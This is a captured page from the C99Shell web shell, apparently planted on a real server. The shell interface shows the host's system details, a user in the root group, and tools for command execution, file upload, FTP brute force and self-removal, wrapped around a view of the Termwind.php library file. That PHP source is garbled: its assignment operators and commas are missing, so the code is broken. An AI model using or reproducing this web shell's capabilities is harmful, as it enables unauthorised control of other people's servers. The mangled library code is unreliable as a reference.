!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/nunomaduro/termwind/src/   drwxr-xr-x
Free 28.62 GB of 117.98 GB (24.26%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Termwind.php (9.04 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

declare(strict_types=1);

namespace 
Termwind;

use 
Closure;
use 
Symfony\Component\Console\Output\ConsoleOutput;
use 
Symfony\Component\Console\Output\OutputInterface;
use 
Termwind\Components\Element;
use 
Termwind\Exceptions\InvalidChild;

/**
 * @internal
 */
final class Termwind
{
    
/**
     * The implementation of the output.
     */
    
private static OutputInterface|null $renderer;

    
/**
     * Sets the renderer implementation.
     */
    
public static function renderUsing(OutputInterface|null $renderer): void
    
{
        
self::$renderer $renderer ?? new ConsoleOutput();
    }

    
/**
     * Creates a div element instance.
     *
     * @param  array<int, Element|string>|string  $content
     * @param  array<string, mixed>  $properties
     */
    
public static function div(array|string $content ''string $styles '', array $properties = []): Components\Div
    
{
        
$content self::prepareElements($content$styles);

        return 
Components\Div::fromStyles(
            
self::getRenderer(), $content$styles$properties
        
);
    }

    
/**
     * Creates a paragraph element instance.
     *
     * @param  array<int, Element|string>|string  $content
     * @param  array<string, mixed>  $properties
     */
    
public static function paragraph(array|string $content ''string $styles '', array $properties = []): Components\Paragraph
    
{
        
$content self::prepareElements($content$styles);

        return 
Components\Paragraph::fromStyles(
            
self::getRenderer(), $content$styles$properties
        
);
    }

    
/**
     * Creates a span element instance with the given style.
     *
     * @param  array<int, Element|string>|string  $content
     * @param  array<string, mixed>  $properties
     */
    
public static function span(array|string $content ''string $styles '', array $properties = []): Components\Span
    
{
        
$content self::prepareElements($content$styles);

        return 
Components\Span::fromStyles(
            
self::getRenderer(), $content$styles$properties
        
);
    }

    
/**
     * Creates an element instance with raw content.
     *
     * @param  array<int, Element|string>|string  $content
     */
    
public static function raw(array|string $content ''): Components\Raw
    
{
        return 
Components\Raw::fromStyles(
            
self::getRenderer(), $content
        
);
    }

    
/**
     * Creates an anchor element instance with the given style.
     *
     * @param  array<int, Element|string>|string  $content
     * @param  array<string, mixed>  $properties
     */
    
public static function anchor(array|string $content ''string $styles '', array $properties = []): Components\Anchor
    
{
        
$content self::prepareElements($content$styles);

        return 
Components\Anchor::fromStyles(
            
self::getRenderer(), $content$styles$properties
        
);
    }

    
/**
     * Creates an unordered list instance.
     *
     * @param  array<int, string|Element>  $content
     * @param  array<string, mixed>  $properties
     */
    
public static function ul(array $content = [], string $styles '', array $properties = []): Components\Ul
    
{
        
$ul Components\Ul::fromStyles(
            
self::getRenderer(), ''$styles$properties
        
);

        
$content self::prepareElements(
            
$content,
            
$styles,
            static function (
$li) use ($ul): string|Element {
                if (
is_string($li)) {
                    return 
$li;
                }

                if (! 
$li instanceof Components\Li) {
                    throw new 
InvalidChild('Unordered lists only accept `li` as child');
                }

                return match (
true) {
                    
$li->hasStyle('list-none') => $li,
                    
$ul->hasStyle('list-none') => $li->addStyle('list-none'),
                    
$ul->hasStyle('list-square') => $li->addStyle('list-square'),
                    
$ul->hasStyle('list-disc') => $li->addStyle('list-disc'),
                    default => 
$li->addStyle('list-none'),
                };
            }
        );

        return 
$ul->setContent($content);
    }

    
/**
     * Creates an ordered list instance.
     *
     * @param  array<int, string|Element>  $content
     * @param  array<string, mixed>  $properties
     */
    
public static function ol(array $content = [], string $styles '', array $properties = []): Components\Ol
    
{
        
$ol Components\Ol::fromStyles(
            
self::getRenderer(), ''$styles$properties
        
);

        
$index 0;

        
$content self::prepareElements(
            
$content,
            
$styles,
            static function (
$li) use ($ol, &$index): string|Element {
                if (
is_string($li)) {
                    return 
$li;
                }

                if (! 
$li instanceof Components\Li) {
                    throw new 
InvalidChild('Ordered lists only accept `li` as child');
                }

                return match (
true) {
                    
$li->hasStyle('list-none') => $li->addStyle('list-none'),
                    
$ol->hasStyle('list-none') => $li->addStyle('list-none'),
                    
$ol->hasStyle('list-decimal') => $li->addStyle('list-decimal-'.(++$index)),
                    default => 
$li->addStyle('list-none'),
                };
            }
        );

        return 
$ol->setContent($content);
    }

    
/**
     * Creates a list item instance.
     *
     * @param  array<int, Element|string>|string  $content
     * @param  array<string, mixed>  $properties
     */
    
public static function li(array|string $content ''string $styles '', array $properties = []): Components\Li
    
{
        
$content self::prepareElements($content$styles);

        return 
Components\Li::fromStyles(
            
self::getRenderer(), $content$styles$properties
        
);
    }

    
/**
     * Creates a description list instance.
     *
     * @param  array<int, string|Element>  $content
     * @param  array<string, mixed>  $properties
     */
    
public static function dl(array $content = [], string $styles '', array $properties = []): Components\Dl
    
{
        
$content self::prepareElements(
            
$content,
            
$styles,
            static function (
$element): string|Element {
                if (
is_string($element)) {
                    return 
$element;
                }

                if (! 
$element instanceof Components\Dt && ! $element instanceof Components\Dd) {
                    throw new 
InvalidChild('Description lists only accept `dt` and `dd` as children');
                }

                return 
$element;
            }
        );

        return 
Components\Dl::fromStyles(
            
self::getRenderer(), $content$styles$properties
        
);
    }

    
/**
     * Creates a description term instance.
     *
     * @param  array<int, Element|string>|string  $content
     * @param  array<string, mixed>  $properties
     */
    
public static function dt(array|string $content ''string $styles '', array $properties = []): Components\Dt
    
{
        
$content self::prepareElements($content$styles);

        return 
Components\Dt::fromStyles(
            
self::getRenderer(), $content$styles$properties
        
);
    }

    
/**
     * Creates a description details instance.
     *
     * @param  array<int, Element|string>|string  $content
     * @param  array<string, mixed>  $properties
     */
    
public static function dd(array|string $content ''string $styles '', array $properties = []): Components\Dd
    
{
        
$content self::prepareElements($content$styles);

        return 
Components\Dd::fromStyles(
            
self::getRenderer(), $content$styles$properties
        
);
    }

    
/**
     * Creates a horizontal rule instance.
     *
     * @param  array<string, mixed>  $properties
     */
    
public static function hr(string $styles '', array $properties = []): Components\Hr
    
{
        return 
Components\Hr::fromStyles(
            
self::getRenderer(), ''$styles$properties
        
);
    }

    
/**
     * Creates an break line element instance.
     *
     * @param  array<string, mixed>  $properties
     */
    
public static function breakLine(string $styles '', array $properties = []): Components\BreakLine
    
{
        return 
Components\BreakLine::fromStyles(
            
self::getRenderer(), ''$styles$properties
        
);
    }

    
/**
     * Gets the current renderer instance.
     */
    
public static function getRenderer(): OutputInterface
    
{
        return 
self::$renderer ??= new ConsoleOutput();
    }

    
/**
     * Convert child elements to a string.
     *
     * @param  array<int, string|Element>|string  $elements
     * @return array<int, string|Element>
     */
    
private static function prepareElements($elementsstring $styles ''Closure|null $callback null): array
    {
        if (
$callback === null) {
            
$callback = static fn ($element): string|Element => $element;
        }

        
$elements is_array($elements) ? $elements : [$elements];

        return 
array_map($callback$elements);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0049 ]--